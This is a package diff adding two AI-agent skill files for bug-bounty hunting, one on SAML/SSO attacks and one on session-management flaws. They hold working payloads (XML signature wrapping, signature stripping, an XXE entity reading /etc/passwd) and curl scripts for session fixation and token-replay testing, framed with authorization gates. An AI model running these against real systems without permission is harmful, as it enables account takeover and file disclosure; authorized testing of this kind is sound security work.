opencode-skills-collection 4.0.68 → 4.0.70

package/bundled-skills/hunt-saml/SKILL.md

@@ -0,0 +1,156 @@
+---
+name: hunt-saml
+description: Hunt SAML / SSO attacks.
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: cve_database, oasis_saml_spec, academic_research, public_research
+report_count: 6
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## 20. SAML / SSO ATTACKS
+> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
+
+### Attack Surface
+```bash
+# Find SAML endpoints
+cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
+# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
+```
+
+### Attack 1: XML Signature Wrapping (XSW)
+```xml
+<!-- BEFORE: valid assertion by user@company.com -->
+<saml:Response>
+  <saml:Assertion ID="legit">
+    <NameID>user@company.com</NameID>
+    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
+  </saml:Assertion>
+</saml:Response>
+
+<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
+     App processes the FIRST assertion found = evil. -->
+<saml:Response>
+  <saml:Assertion ID="evil">
+    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
+  </saml:Assertion>
+  <saml:Assertion ID="legit">
+    <NameID>user@company.com</NameID>
+    <ds:Signature><!-- Valid --></ds:Signature>
+  </saml:Assertion>
+</saml:Response>
+```
+
+### Attack 2: Comment Injection in NameID
+```xml
+<!-- Attacker registers/controls account: admin@company.com.evil.com -->
+<NameID>admin@company.com<!---->.evil.com</NameID>
+<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
+     digest): "admin@company.com.evil.com" — the value the signature covers. -->
+<!-- App's XML processor also strips the comment but only reads the text node
+     UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
+     identity than was signed. The discrepancy is the bug. -->
+<!-- Works when signer's C14N and app's text extraction disagree on comments.
+     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
+```
+
+### Attack 3: Signature Stripping
+```
+1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->
+2. Delete the entire <Signature> element
+3. Change NameID to admin@company.com
+4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
+5. Submit — if server doesn't verify signature presence = admin ATO
+```
+
+### Attack 4: XXE in SAML Assertion
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<saml:Assertion>
+  <NameID>&xxe;</NameID>
+</saml:Assertion>
+```
+
+### Attack 5: NameID Manipulation
+```
+Test these NameID values:
+- admin@company.com (generic admin)
+- administrator@company.com
+- support@target.com
+- Any email found in disclosed reports for this program
+- ${7*7} (SSTI if NameID gets rendered in a template)
+```
+
+### Tools
+```bash
+# SAMLRaider (Burp extension) — automated XSW testing
+# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
+
+# Manual workflow:
+echo "BASE64_SAML" | base64 -d > saml.xml
+# Edit saml.xml
+base64 -w0 saml.xml  # Re-encode
+# URL-encode the result before sending as SAMLResponse parameter
+```
+
+### SAML Triage
+```
+XSW successful   = Critical (ATO any user)
+Sig stripping    = Critical (ATO any user)
+Comment injection = High (ATO admin)
+XXE in assertion = High (file read / SSRF)
+NameID manip     = Medium/High (depends on what NameID maps to)
+```
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
+- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
+- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
+- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
+- **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-session/SKILL.md

@@ -0,0 +1,342 @@
+---
+name: hunt-session
+description: Hunt Session Management vulnerabilities
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, portswigger_research, owasp_wstg
+report_count: 18
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## Autonomous Testing Priority
+
+**Missing HttpOnly on cookies is auto-detected — focus your active testing on lifecycle invalidation (higher impact).**
+
+**Pattern 1 — Session survives logout (most common high-value finding):**
+1. Login and note the session token/cookie value
+2. Call the logout endpoint (`/logout`, `POST /api/logout`, etc.)
+3. Try to use the OLD session token to access a protected resource (`/api/me`, `/dashboard`, `/account`)
+4. If 200 with user data → session not invalidated on logout = ATO persistence
+
+**Pattern 2 — Session not regenerated on login (session fixation):**
+1. GET any page to receive a pre-authentication session token/cookie
+2. POST valid credentials to the login endpoint
+3. Compare the session token BEFORE and AFTER login
+4. If the token is unchanged → session fixation vulnerability
+
+**Pattern 3 — Session survives password change:**
+1. Login → record session A value
+2. Change the password via the account settings endpoint
+3. Replay session A on a protected endpoint
+4. If 200 → token not rotated on credential change = persistent ATO (critical chain when combined with XSS/cookie theft)
+
+**Content-type:** Login and session endpoints vary — use `application/json` for REST APIs, `application/x-www-form-urlencoded` for traditional web forms. Try both if the first returns an unexpected response.
+
+**Proof:** A protected-resource 200 response (with user data) using a session token that should have been invalidated confirms the finding.
+
+---
+
+# HUNT-SESSION — Session Management
+
+## Crown Jewel Targets
+
+Session fixation leading to admin hijack = Critical. Session surviving a password change = High-to-Critical (persistent ATO from a stolen cookie that the victim believes they revoked by resetting their password).
+
+**Highest-value chains:**
+- **Session fixation** — server accepts a session ID set by the client and does NOT regenerate it on login → attacker pre-plants an ID, victim authenticates, attacker rides the now-authenticated session → persistent ATO.
+- **No invalidation on logout** — old token still works after `/logout` → theft window never closes.
+- **No invalidation on password / email change** — a stolen session survives the victim's "I think I was hacked, let me reset" → persistent ATO. This is the single highest-paid session bug class.
+- **Refresh-token reuse without rotation-detection** — a leaked refresh token mints fresh access tokens forever; no reuse-detection means the legitimate user's later refresh does NOT revoke the attacker's branch.
+- **Predictable / low-entropy session ID** — sequential, timestamp- or userId-derived IDs → brute-force or compute other users' sessions.
+- **JWT-as-session with no `exp` / no revocation list** — stolen JWT = permanent access; logout is cosmetic.
+
+---
+
+## Grounding — patterns that shaped each phase
+
+No invented CVE/report IDs below. These are the *named, publicly-documented* patterns this skill encodes:
+
+- **Session fixation, login-CSRF, no-regeneration-on-auth** — OWASP WSTG-SESS-03 / WSTG-SESS-01; the classic ACROS / Mitja Kolšek session-fixation paper. Highest-impact variant: fixing the session of an SSO/admin user.
+- **SameSite=Lax sibling-subdomain CSRF reaching session state** — Argo CD **CVE-2024-22424** (Lax cookies sent on top-level cross-site navigations from a sibling subdomain). Use this when a session cookie relies on `SameSite=Lax` as its only CSRF defence.
+- **Refresh-token rotation & automatic reuse-detection** — the Auth0/IETF OAuth-Security-BCP model: a rotated refresh token, if replayed, must invalidate the *entire token family*. Absence = the core bug to prove.
+- **Device Bound Session Credentials (DBSC)** — the W3C/Chrome DBSC draft binds a session to a TPM/device key. Test the *downgrade*: does the server still accept a non-bound cookie when the DBSC challenge is stripped?
+- **Cookie attribute hardening** — OWASP WSTG-SESS-02; `__Host-`/`__Secure-` prefixes per RFC 6265bis. Missing `HttpOnly` is only a finding when a real XSS/DOM sink exists (chain with `hunt-xss`/`hunt-dom`).
+- **Entropy** — NIST SP 800-63B requires ≥64 bits of entropy in a session identifier. Treat anything decodable to a counter/timestamp/userId as a finding regardless of length.
+
+Cross-refs: ATO chaining → `hunt-ato`; JWT alg/kid tampering → `hunt-api-misconfig`; OAuth code/state flaws → `hunt-oauth`; CSRF mechanics → `hunt-csrf`; cookie-theft sinks → `hunt-xss` / `hunt-dom`.
+
+---
+
+## Attack Surface Signals
+
+```
+Set-Cookie: session=...            # name varies: sid, JSESSIONID, connect.sid,
+                                   # PHPSESSID, ASP.NET_SessionId, laravel_session, _csrf
+/login /logout /api/login /oauth/token
+/auth/refresh /api/token/refresh   # refresh-token rotation surface
+/account/change-password /settings/email
+?sid= ?session= in URL             # session-in-URL → leaks via Referer/logs (finding)
+```
+```
+# Header signals worth flagging immediately:
+Set-Cookie: session=abc; Path=/                 # no HttpOnly/Secure/SameSite
+Set-Cookie: session=abc; SameSite=None          # None without Secure = rejected by modern browsers, but flag
+Set-Cookie: __Host-sess=...; Secure; Path=/     # GOOD — hard to fixate
+Sec-Session-Registration: ...                   # DBSC in play → test downgrade
+```
+
+---
+
+## Step-by-Step Hunting Methodology
+
+> **Two-session rule.** Every invalidation/fixation claim is proven with TWO concrete sessions captured by a real flow — attacker **A** and victim **B** — never with hardcoded placeholder strings. Helpers below capture real cookies from `curl`'s Netscape jar.
+
+```bash
+TARGET=target.com
+JAR_A=$(mktemp); JAR_B=$(mktemp)
+
+# Robust session-cookie extractor: handles #HttpOnly_ prefix lines and any
+# cookie name (sid/JSESSIONID/connect.sid/PHPSESSID/...). Prints name=value.
+get_cookie () {  # $1=jar  $2=name-regex (default: common session names)
+  local jar="$1" re="${2:-session|sid|sess|JSESSIONID|connect\.sid|PHPSESSID|laravel_session}"
+  awk -v re="$re" '
+    /^#HttpOnly_/ { sub(/^#HttpOnly_/,""); }   # strip jar HttpOnly marker
+    /^#/ { next }                              # skip remaining comments
+    NF>=7 && $6 ~ re { print $6"="$7 }         # field6=name field7=value
+  ' "$jar" | tail -1
+}
+```
+
+### Phase 1 — Session Fixation (regeneration-on-login)
+```bash
+# Step 1: grab a pre-auth session the SERVER hands an anonymous client.
+curl -s -L -c "$JAR_A" "https://$TARGET/login" -o /dev/null
+PRE=$(get_cookie "$JAR_A"); echo "pre-auth: $PRE"
+
+# Step 1b (stronger): can we FORCE an arbitrary ID? attacker-chosen value.
+FIX="session=AAAAdeadbeefAAAA"
+
+# Step 2: authenticate while CARRYING the pre-auth/forced cookie (reuse same jar).
+curl -s -L -c "$JAR_A" -b "$JAR_A" -X POST "https://$TARGET/login" \
+  -d "username=attacker@example.com&password=CorrectHorse1" -o /dev/null
+POST=$(get_cookie "$JAR_A"); echo "post-auth: $POST"
+
+# DECISION:
+#  - If $POST == $PRE (value unchanged across the auth boundary) AND that value
+#    now returns authenticated data → FIXATION. The server reused the anon ID.
+#  - If the forced $FIX value is accepted and authenticates → CRITICAL fixation
+#    (attacker controls the ID; no email/XSS needed to plant it).
+AUTH=$(curl -s -L -b "$JAR_A" "https://$TARGET/api/me")
+echo "$AUTH" | head -c 200
+```
+**FP guard:** a value *change* is not automatically safe — some apps rotate the readable cookie but keep a stable server-side session keyed by a second cookie. Diff the FULL `Set-Cookie` set and confirm the *old* value is genuinely dead (Phase 2). Also confirm `/api/me` returns *your* identity, not a generic 200/landing page.
+
+### Phase 2 — Invalidation on Logout
+```bash
+# A logs in for real (fresh jar), capture A's live session.
+curl -s -L -c "$JAR_A" -X POST "https://$TARGET/api/login" \
+  -H 'Content-Type: application/json' \
+  -d '{"email":"attacker@example.com","password":"CorrectHorse1"}' -o /dev/null
+A=$(get_cookie "$JAR_A"); echo "A=$A"
+
+# Baseline: what does an authenticated /api/me look like for A? (capture body, not just code)
+BEFORE=$(curl -s -L -b "$JAR_A" "https://$TARGET/api/me")
+
+# Logout A.
+curl -s -L -b "$JAR_A" -X POST "https://$TARGET/api/logout" -o /dev/null
+
+# Replay A's OLD cookie value explicitly (do NOT reuse the jar — logout may have
+# overwritten it). Compare body + code against the authenticated baseline.
+AFTER=$(curl -s -L -H "Cookie: $A" "https://$TARGET/api/me" -w '\n[%{http_code}]')
+echo "AFTER: $AFTER"
+```
+**FP discipline (mandatory):**
+- Don't trust the status code. A cached/edge 200 or a generic SPA shell returns 200 for everyone. **Body-diff** `AFTER` against `BEFORE` — the finding is only real if `AFTER` still contains A's *unique identity marker* (email, user-id, CSRF token, account name).
+- Confirm with a **negative control**: a random/garbage cookie value must NOT return the same authenticated body. If garbage also yields 200 with user data, the endpoint isn't session-gated and there's no finding here.
+- Re-test after a **short delay** and from a **different IP** — some servers lazily expire on next access or pin sessions to IP.
+
+### Phase 3 — Invalidation on Password / Email Change (persistent-ATO core)
+```bash
+# This is the real two-session flow. A = attacker holding a stolen/old session.
+# B = the victim who changes their password believing it revokes access.
+# (In a real engagement A is a session you legitimately captured for a TEST account
+#  that you also control as B — never use a real third party.)
+
+# 1) Log the TEST account in as session A, capture it.
+curl -s -L -c "$JAR_A" -X POST "https://$TARGET/api/login" \
+  -H 'Content-Type: application/json' \
+  -d '{"email":"victim@example.com","password":"OldPass!1"}' -o /dev/null
+SESSION_A=$(get_cookie "$JAR_A"); echo "SESSION_A=$SESSION_A"
+BEFORE=$(curl -s -L -H "Cookie: $SESSION_A" "https://$TARGET/api/profile")
+
+# 2) Log the SAME account in as session B (separate jar = "the victim's browser").
+curl -s -L -c "$JAR_B" -X POST "https://$TARGET/api/login" \
+  -H 'Content-Type: application/json' \
+  -d '{"email":"victim@example.com","password":"OldPass!1"}' -o /dev/null
+
+# 3) Victim (session B) changes the password.
+curl -s -L -b "$JAR_B" -X POST "https://$TARGET/api/change-password" \
+  -H 'Content-Type: application/json' \
+  -d '{"old_password":"OldPass!1","new_password":"BrandNew!2"}' -o /dev/null
+
+# 4) THE TEST: replay the OLD SESSION_A captured in step 1.
+AFTER=$(curl -s -L -H "Cookie: $SESSION_A" "https://$TARGET/api/profile" -w '\n[%{http_code}]')
+echo "AFTER pw-change: $AFTER"
+```
+**Decision + FP discipline:**
+- Finding is confirmed only if `AFTER` returns 200 **and** the body still carries the account's unique data (body-diff vs `BEFORE`). A bare 200 on a public/SPA route is not proof.
+- Run the **garbage-cookie negative control** again to prove the endpoint is session-gated.
+- Repeat the identical flow for **email-change** (`/settings/email`) and for **logout-all-devices** — apps frequently invalidate the *acting* session (B) but not *sibling* sessions (A). That sibling-survival is the exact persistent-ATO primitive `hunt-ato` chains.
+- **Severity gate:** if the change-password endpoint also lacks a current-password / MFA step-up (per `hunt-mfa-bypass`), A can pivot from read-only to full takeover → escalate.
+
+### Phase 4 — Cookie Attribute Analysis
+```bash
+curl -sI -L "https://$TARGET/" | grep -i '^set-cookie'
+```
+- **HttpOnly** missing → cookie reachable via `document.cookie`. Only a finding **chained to a real XSS/DOM sink** (`hunt-xss`/`hunt-dom`) — note it, don't report standalone as High.
+- **Secure** missing → cookie sent over cleartext HTTP; pair with `hunt-tls-network` (downgrade/HSTS-gap) for a network-attacker chain.
+- **SameSite** missing/`None` → CSRF reachability; `SameSite=Lax` is bypassable via sibling-subdomain top-level navigation (Argo CD **CVE-2024-22424** class) → hand to `hunt-csrf`.
+- **`__Host-` / `__Secure-` prefix absent** → the session can be overwritten/fixated from a subdomain or non-secure context; its presence largely kills cookie-fixation, so flag the *absence* as the precondition for Phase 1.
+
+### Phase 5 — Session-ID Entropy
+```bash
+# Collect a LARGE sample (200+) of freshly-issued IDs. -L is required: a 302
+# /login often sets the cookie on the redirect target, not the first response.
+N=200; SAMP=$(mktemp)
+for i in $(seq 1 $N); do
+  J=$(mktemp)
+  curl -s -L -c "$J" "https://$TARGET/login" -o /dev/null
+  get_cookie "$J" | cut -d= -f2- >> "$SAMP"
+  rm -f "$J"
+done
+sort "$SAMP" | uniq -d | head            # duplicates = catastrophic (re-use)
+awk '{print length($0)}' "$SAMP" | sort -n | uniq -c   # length distribution
+```
+Then analyse, don't eyeball:
+- **Sequential / monotonic** — `sort -n` the decoded values; a steady +1/+N delta = predictable.
+- **Decodable structure** — `base64 -d` / hex-decode each ID and look for embedded `userId`, unix timestamps, or PIDs.
+- **Bit entropy** — feed the raw bytes to `ent` or `dieharder`; NIST SP 800-63B wants ≥64 bits. 10 samples is far too few to claim anything — gather hundreds.
+- **FP guard:** a long random-*looking* token is not proof of strength; only structural decode + a large-sample entropy estimate is. Conversely a short token with high per-char entropy may still be fine — measure, don't count characters.
+
+### Phase 6 — JWT-as-Session
+```bash
+JWT="eyJ..."        # captured from Authorization: Bearer or a cookie
+# Decode header + payload safely (base64url padding fix).
+b64url(){ local s="${1//-/+}"; s="${s//_//}"; printf '%s' "$s===" | base64 -d 2>/dev/null; }
+b64url "$(cut -d. -f1 <<<"$JWT")" | jq .   # header: alg, kid
+b64url "$(cut -d. -f2 <<<"$JWT")" | jq .   # claims: exp, iat, sub, jti
+```
+- **`exp` missing or years out** → no expiry. **`jti` missing** → server cannot maintain a revocation list → logout can't truly revoke.
+- **Revocation test:** logout, then replay the *same* JWT against `/api/me`. If it still returns the user → tokens are not server-revocable; this is the JWT-session persistence finding. Body-diff to avoid a cached 200.
+- **Tampering (alg/kid/key-confusion) is owned by `hunt-api-misconfig`** — hand off `jwt_tool $JWT -T` / `-X a` there rather than duplicating it.
+
+### Phase 7 — Refresh-Token Rotation & Reuse-Detection
+```bash
+# 1) Obtain a refresh token (login or /oauth/token), then rotate it once.
+RT1=$(curl -s -L -X POST "https://$TARGET/api/login" \
+  -H 'Content-Type: application/json' \
+  -d '{"email":"victim@example.com","password":"OldPass!1"}' | jq -r '.refresh_token')
+
+# 2) Use RT1 to mint a new access token — server SHOULD return a rotated RT2.
+R2=$(curl -s -L -X POST "https://$TARGET/auth/refresh" \
+  -H 'Content-Type: application/json' -d "{\"refresh_token\":\"$RT1\"}")
+RT2=$(jq -r '.refresh_token' <<<"$R2"); echo "rotated? RT1!=RT2 -> $([ "$RT1" != "$RT2" ] && echo yes || echo NO-ROTATION)"
+
+# 3) REUSE-DETECTION test: replay the OLD RT1 again (simulating the leaked token).
+REPLAY=$(curl -s -L -X POST "https://$TARGET/auth/refresh" \
+  -H 'Content-Type: application/json' -d "{\"refresh_token\":\"$RT1\"}" -w '\n[%{http_code}]')
+echo "RT1 replay: $REPLAY"
+
+# 4) Then confirm RT2 was KILLED by the replay (correct BCP behaviour invalidates
+#    the whole family). If RT2 still works after RT1 was replayed → no family-revocation.
+curl -s -L -X POST "https://$TARGET/auth/refresh" \
+  -H 'Content-Type: application/json' -d "{\"refresh_token\":\"$RT2\"}" -w '\n[%{http_code}]'
+```
+**Findings:** no rotation (RT1==RT2) = a long-lived stealable credential; rotation **without** reuse-detection (RT1 replay still mints tokens, or RT2 survives the replay) = the leaked-token-persistence bug per the OAuth Security BCP. **OOB note:** if you suspect a leaked RT via SSRF/log/JS-bundle, confirm the token's reach with `hunt-ssrf`/`hunt-source-leak`, not by guessing.
+
+### Phase 8 — OAuth/SSO Session Linkage & DBSC Downgrade
+```bash
+# SSO linkage: after IdP callback, is the app session bound to the IdP session?
+#  - Log out at the IdP only; replay the app session cookie. Still 200 with user
+#    data → app session outlives the IdP session (single-logout gap).
+# DBSC downgrade: if responses carry Sec-Session-Registration / Sec-Session-Id,
+#  strip the device-bound proof header and replay the plain cookie:
+curl -s -L -H "Cookie: $A" "https://$TARGET/api/me" -w '\n[%{http_code}]'
+#  If the plain (non-bound) cookie is still accepted → device-binding is advisory,
+#  not enforced → a stolen cookie defeats DBSC entirely.
+```
+Hand OAuth `state`/`redirect_uri`/code-injection to `hunt-oauth`; this phase only covers the *session-layer* binding.
+
+---
+
+## Chain Table
+
+| Session finding | Chain to | Impact |
+|----------------|----------|--------|
+| Session fixation (forced `__Host-`-less cookie) | Trick admin/SSO user into authenticating on planted ID | Admin session takeover (Critical) |
+| No logout/password-change invalidation | `hunt-xss`/`hunt-dom` cookie theft → replay surviving session | Persistent ATO past victim's reset |
+| Refresh token, no reuse-detection | Leaked RT (SSRF/log/bundle) → infinite access-token minting | Persistent ATO, survives password change |
+| `SameSite=Lax` only | Sibling-subdomain top-level nav (CVE-2024-22424 class) → CSRF | State change / login-CSRF → fixation |
+| JWT no `exp`/`jti` | Stolen token, no server revocation | Permanent access |
+| DBSC downgrade accepted | Steal plain cookie despite device-binding | Defeats the only theft mitigation |
+| Predictable ID | Compute/brute another user's session | Cross-user ATO |
+
+---
+
+## Validation (house FP discipline)
+
+Before claiming ANY session finding:
+- **Two real sessions, not placeholders** — every fixation/invalidation claim uses A and B captured by the `curl` flows above.
+- **Body-diff, never status-only** — a 200 means nothing without the account's unique identity marker present in the body, diffed against the authenticated baseline.
+- **Negative control** — a garbage/random cookie must FAIL where your "surviving" cookie succeeds; otherwise the endpoint isn't session-gated and it's a non-finding.
+- **Cache/edge check** — re-request with a cache-buster and from a second IP; rule out an edge-cached or IP-pinned 200.
+- **OOB for theft chains** — when the impact depends on exfiltrating a cookie/token (XSS, SSRF, log leak), confirm receipt out-of-band (Collaborator) rather than asserting it.
+- **Static-vs-state** — `HttpOnly`/`Secure`/`SameSite` absence is a *policy* observation; only report as High once paired with a real exploit primitive (XSS, network-MITM, CSRF). Standalone attribute gaps are Low/Informational.
+
+**Severity:**
+- Session fixation → admin/SSO takeover: **Critical**
+- No invalidation on password/email change, or refresh-token reuse without detection: **High → Critical** (escalate if MFA/step-up also absent)
+- Predictable/duplicate session ID: **High**
+- No invalidation on logout: **Medium → High** (depends on theft vector)
+- Missing `HttpOnly`/`SameSite` standalone: **Low/Informational** until chained
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.